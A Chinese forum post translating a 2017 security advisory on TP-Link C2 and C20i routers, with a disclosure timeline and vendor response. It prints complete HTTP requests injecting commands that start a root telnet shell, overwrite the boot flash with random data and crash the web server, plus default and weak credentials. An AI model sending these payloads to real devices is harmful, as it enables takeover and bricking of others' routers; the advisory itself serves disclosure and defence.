首页
论坛
课程
招聘
[翻译] TP-Link C2 和 C20i 的多个漏洞
2017-3-2 17:16 4544

[翻译] TP-Link C2 和 C20i 的多个漏洞

2017-3-2 17:16
4544


TP-Link的C2和C20i型号易受命令注入(经过验证的root权限的RCE),DoS,不正确的防火墙规则的攻击。


产品描述

TP-Link是中国的计算机网络产品制造商,生产诸如路由器和IOT设备。


漏洞摘要

直到TP-Link C2和C20i的最新固件版本为止(0.9.1 4.2 v0032.0 Build 160706 Rel.37961n),HTTP管理接口中都存在命令注入,经过身份验证的攻击者可获取具有root权限的远程shell。

攻击者可以通过Dos来攻击HTTP服务器,而且默认情况下,WAN接口上的防火墙规则过于宽松。


详述 - 具有单个HTTP请求的RCE

使用所谓的“Diagnostic”页面,攻击者可以在使用ping工具的远程主机上运行包括telnetd在内的任何命令:

$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)


在验证时(参考base64格式的credentials),直接发送这个HTTP请求就可以启动路由器25 / tcp端口上的telnetd服务,而不需要许可:

POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested


攻击者也可以使用backsticks来执行命令:

echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25


结果:

user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 2
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
~ # ls
web      usr      sbin     mnt      lib      dev
var      sys      proc     linuxrc  etc      bin
~ # cat /proc/version 
Linux version 2.6.36 (root@localhost.localdomain) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016
~ # ls -la
drwxr-xr-x    9       176 web
drwxr-xr-x   13         0 var
drwxr-xr-x    4        38 usr
drwxr-xr-x   11         0 sys
drwxr-xr-x    2       193 sbin
dr-xr-xr-x   83         0 proc
drwxr-xr-x    2         3 mnt
lrwxrwxrwx    1        11 linuxrc -> bin/busybox
drwxr-xr-x    3       786 lib
drwxr-xr-x    5       776 etc
drwxr-xr-x    5      1274 dev
drwxr-xr-x    2       280 bin
drwxr-xr-x   13       177 ..
drwxr-xr-x   13       177 .
~ # cd etc
/etc # ls
vsftpd_passwd              init.d                     SingleSKU_5G_RU.dat
vsftpd.conf                group                      SingleSKU_5G_NZ.dat
ushare.conf                fstab                      SingleSKU_5G_MY.dat
services                   default_config.xml         SingleSKU_5G_KR.dat
samba                      TZ                         SingleSKU_5G_FCC.dat
resolv.conf                SingleSKU_RU.dat           SingleSKU_5G_CE.dat
reduced_data_model.xml     SingleSKU_NZ.dat           SingleSKU_5G_CA.dat
ppp                        SingleSKU_MY.dat           RT2860AP5G.dat
passwd.bak                 SingleSKU_KR.dat           RT2860AP.dat
passwd                     SingleSKU_FCC.dat          MT7620_AP_2T2R-4L_V15.BIN
iptables-stop              SingleSKU_CE.dat           MT7610E-V10-FEM-1ANT.bin
inittab                    SingleSKU_5G_VN.dat
/etc # cd ..
~ # ls -la
drwxr-xr-x    9       176 web
drwxr-xr-x   13         0 var
drwxr-xr-x    4        38 usr
drwxr-xr-x   11         0 sys
drwxr-xr-x    2       193 sbin
dr-xr-xr-x   83         0 proc
drwxr-xr-x    2         3 mnt
lrwxrwxrwx    1        11 linuxrc -> bin/busybox
drwxr-xr-x    3       786 lib
drwxr-xr-x    5       776 etc
drwxr-xr-x    5      1274 dev
drwxr-xr-x    2       280 bin
drwxr-xr-x   13       177 ..
drwxr-xr-x   13       177 .
~ # ps
  PID USER       VSZ STAT COMMAND
    1 admin     1060 S    init
    2 admin        0 SW   [kthreadd]
    3 admin        0 SW   [ksoftirqd/0]
    4 admin        0 SW   [kworker/0:0]
    5 admin        0 SW   [kworker/u:0]
    6 admin        0 SW<  [khelper]
    7 admin        0 SW   [kworker/u:1]
   44 admin        0 SW   [sync_supers]
   46 admin        0 SW   [bdi-default]
   48 admin        0 SW<  [kblockd]
   80 admin        0 SW   [kswapd0]
   82 admin        0 SW<  [crypto]
  130 admin        0 SW   [mtdblock0]
  135 admin        0 SW   [mtdblock1]
  140 admin        0 SW   [mtdblock2]
  145 admin        0 SW   [mtdblock3]
  150 admin        0 SW   [mtdblock4]
  155 admin        0 SW   [mtdblock5]
  160 admin        0 SW   [mtdblock6]
  172 admin        0 SW   [kworker/0:1]
  214 admin        0 SW   [khubd]
  245 admin     1060 S    telnetd
  251 admin     2932 S    cos
  252 admin     1060 S    init
  255 admin     2120 S    igmpd
  258 admin     2144 S    mldProxy
  345 admin     2932 S    cos
  346 admin     2932 S    cos
  347 admin     2932 S    cos
  366 admin     2088 S    ntpc
  371 admin     2096 S    dyndns /var/tmp/dconf/dyndns.conf
  374 admin     2096 S    noipdns /var/tmp/dconf/noipdns.conf
  377 admin     2096 S    cmxdns /var/tmp/dconf/cmxdns.conf
  433 admin        0 SW   [RtmpCmdQTask]
  434 admin        0 SW   [RtmpWscTask]
  445 admin     1244 S    wlNetlinkTool
  449 admin     1080 S    wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
  465 admin     1244 S    wlNetlinkTool
  466 admin     1244 S    wlNetlinkTool
  489 admin        0 SW   [RtmpCmdQTask]
  490 admin        0 SW   [RtmpWscTask]
  503 admin     1064 S    wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
  506 admin     2668 S    httpd
  518 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  521 admin     2084 S    dnsProxy
  526 admin     1068 S    dhcpd /var/tmp/dconf/udhcpd.conf
  551 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  552 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  553 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  554 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  555 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  556 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  557 admin     1748 S    upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
  558 admin     2668 S    tmpd
  561 admin     2556 S    tdpd
  569 admin      988 S    dhcpc
  578 admin     1036 S    zebra -d -f /var/tmp/dconf/zebra.conf
  594 admin     2088 S    diagTool
  625 admin     1136 S    dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
  642 admin     2468 S    ushare
  658 admin     2468 S    ushare
  660 admin     2468 S    ushare
  661 admin     2468 S    ushare
  662 admin     2468 S    ushare
  663 admin     2468 S    ushare
  664 admin     2468 S    ushare
  666 admin     2468 S    ushare
  851 admin     1060 S    /usr/sbin/telnetd -l /bin/sh -p 25
  853 admin     1072 S    /bin/sh
  876 admin     1068 S    /bin/sh
  878 admin     2576 S    cli
  887 admin     1060 R    ps
~ #


用这个RCE,攻击者就可以编辑 /dev/mtd3 来转存、修改配置。 配置是XML格式,位于MTD(64K)的起始位置(从偏移0x10开始)。

如果攻击者在u-boot分区的头部随机写字符,发送这个字符串,会使路由器无法完成引导,被阻塞掉:

POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
>[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested


详述 - DoSing HTTP服务器

在验证(请参阅base64格式的凭据)时,直接发送此HTTP请求将导致远程HTTP服务器崩溃:

GET /cgi/ansi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close
生成的核心文件被写入受攻击路由器的`/var`分区中
/var # ls -la /var/
drwxrwxrwx    2         0 lock
drwxrwxrwx    2         0 log
drwxrwxrwx    2         0 run
drwxrwxrwx    7         0 tmp
drwxr-xr-x    3         0 Wireless
drwxrwxrwx    2         0 usbdisk
drwxrwxrwx    2         0 dev
drwxr-xr-x    5         0 samba
-rw-r--r--    1       132 passwd
drwxrwxrwx    2         0 3G
drwxrwxrwx    2         0 l2tp
rwxrwxrwx    7         0 vsftp
-rw-------    1    348160 core-httpd-506-11-1482798208
drwxr-xr-x   13       177 ..
drwxr-xr-x   13         0 .
/var #


详述 - Iptables的许可规则

通过在/var/tmp/dconf/rc.router中编写命令并在此文件上使用system(),可以在/lib/libcmm.so中生成缺省iptables规则。

/var/tmp/dconf/rc.router:

\#!/bin/sh
[...]
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ
iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
[...]

默认情况下,每个接口上的SNMP端口都是打开的:

iptables -A INPUT -p udp --dport 161 -j ACCEPT

可以使用iptables在路由器上验证:

/proc # iptables -nL
Chain INPUT (policy DROP)
[...]
ACCEPT     udp  --  0.0.0.0/0            0.0.0.0/0            udp dpt:161
[...]

你也可以查看/var/tmp/dconf/rc.router来检测。

庆幸的是,尽管SNMP配置可以通过隐藏的main/snmp.html网页来修改,但有迹象显示,snmpd已经从防火墙的镜像中移除了。


详述 - 杂谈

这些二进制文件(/usr/bin/cos, /usr/bin/tmpd, /lib/libcmm.so)都是设计的很糟糕的程序,大量的system()函数都是以root权限运行。

/usr/bin/cos 是一个在 /etc/init.d/rcS (cos &)结尾运行的拥有root权限的守护进程: 它使用系统函数启动所有的守护进程 (httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon wscd...)

/usr/bin/tmpd是一个root权限的守护进程,它监听了 127.0.0.1:20002端口.

/lib/libcmm.so是包含所有主系统函数的二进制文件 ,比如(system reinitialisation [admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi configuration, debugging with TFTP[hi dutserver!], VPN configuration, ifconfig interfaces, insmod /lib/modules/pptp.ko, ...)

`Vsftpd` 的部分默认密码是弱口令:

user@kali:~$ cat ./etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$
user@kali:~$
可获取到
admin:1234
guest:guest
test:test


厂商反馈

T-P-Link 计划在2017年2月发布一个新的固件,来给罗列的这些漏洞打上补丁,T-P-Link强调,想利用两个以上的安全漏洞,攻击者必须有合法的授权。


报告时间线

2016年9月17日: Pierre Kim发现了漏洞.

2016年12月26日: livechat联系了TP-Link的支持部门. TP-Link回复称 TP-Link的路由器不存在安全问题需要处理,并拒绝明示这些安全问题.

2016年12月27日: 这些漏洞被报告给了TP-Link的技术支持 (using support () tp-link.com, security () tp-link.com, lishaozhang () tp-link.net [来自于 /lib/modules/ipt_STAT.ko], huangwenzhong@tp-link.net [来自于/lib/modules/tp_domain.ko]).

2016年12月29日: Pierre给TP-Link的安全团队寄去了一份完整的建议书.

2016年12月30日: TP-Link确认接收了建议书.

2017年1月3日: Pierre要求TP-Link承认这些漏洞.

2017年1月9日: TP-Link 承认了在 TP-Link C2 和 C20i 路由器上存在安全漏洞,并且正在进行安全修复.

2017年1月21日: TP-Link回应了”厂商反馈”部分.

2017年1月23日: Pierre回复, 寻求"厂商反馈"部分的更多细节.

2017年1月24日: TP-Link的韩国方面和Pierre Kim交流了这些漏洞.

2017年1月27日: Pierre向TP-Link发送了最终的草案.

2017年2月9日: 一份公开的建议书发给了安全邮件列表.


鸣谢

这些漏洞是Pierre Kim发现的 (@PierreKimSec).


链接

https://pierrekim.github.io/advisories/2017-tplink-0x00.txt

https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html


免责声明

这个建议书具有一个Creative Commons Attribution Non-Commercial Share-Alike 3.0 License的许可证: http://creativecommons.org/licenses/by-nc-sa/3.0/



看雪侠者千人榜,看看你上榜了吗?

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 4633
活跃值: 活跃值 (556)
能力值: (RANK:30 )
在线值:
发帖
回帖
粉丝
CCkicker 活跃值 2017-3-2 18:30
2
0
不错哦~
游客
登录 | 注册 方可回帖
返回